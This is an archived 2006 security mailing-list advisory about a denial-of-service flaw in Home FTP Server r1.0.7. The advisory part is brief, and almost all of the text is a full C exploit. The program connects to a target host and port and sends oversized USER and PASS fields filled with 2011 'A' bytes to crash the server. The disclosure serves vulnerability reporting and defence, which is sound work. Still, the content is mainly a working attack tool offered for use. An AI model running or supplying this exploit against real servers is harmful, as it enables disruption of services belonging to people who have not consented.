

[EXPL] Home FTP Server DoS (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00018.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 7 Feb 2006 12:13:14 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Home FTP Server DoS (Exploit)

SUMMARY

" <http://downstairs.dnsalias.net/homeserver_download.html> Home FTP server is a very easy to use Windows FTP server application with all the nice FTP features included."

Home FTP server does not handle large buffers properly allowing attackers to cause a DoS on the server.

DETAILS

Vulnerable Systems:

* Home FTP server version r1.0.7

Exploit:

```
#include <stdio.h>
```

```
#include <sys/socket.h>
```

```
#include <sys/types.h>
```

```
#include <netinet/in.h>
```

```
#include <netdb.h>
```

```
#define POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0a"
```

[EXPL] Home FTP Server DoS (Exploit)

```
int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA – Computer Security Science Researchers
Institute\n\n");
printf("[i] Title: \tHome Ftp <= r1.0.7 Dos Exploit\n");
printf("[i] Discovered by: \tcvh {a} kapda.ir\n");
printf("[i] Exploit by: \tPi3cH {a} kapda.ir\n");
printf("[i] More info: \twww.kapda.ir/page–advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage: \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct
sockaddr ) ) == -1 )
{
printf ( "[e] Failed connecting!\n" );
exit(1);
}
return ( s );
}

int main(int argc, char *argv[]) {
```

[EXPL] Home FTP Server DoS (Exploit)

```
int s,i;
char *request;
char junk_data[2011];
header();
if( (argc < 2) )
usage(argv[0]);
request = (char *) malloc(1024);
printf("[r] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
sleep(1);
printf("[r] Creating buffer\n");
for(i=0;i<2011;i++)
strcat(junk_data,"\x41");
sprintf(request,POCSTR,junk_data,junk_data);
printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
if ( send ( s, request, strlen (request), 0) <= 0 )
{
printf("[e] Failed to send buffer\n");
close(s);
exit(1);
}
sleep(1);
printf("[s] Exploit Done!\n");
close(s);
free(request);
request = NULL;
return 0;
}

/* EOF */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:kapda.ir@xxxxxxxxxxxxxxxxxxxxx>>
KAPDA.

The original article can be found at: <<http://www.kapda.ir/>>
<http://www.kapda.ir/>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

[EXPL] Home FTP Server DoS (Exploit)

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.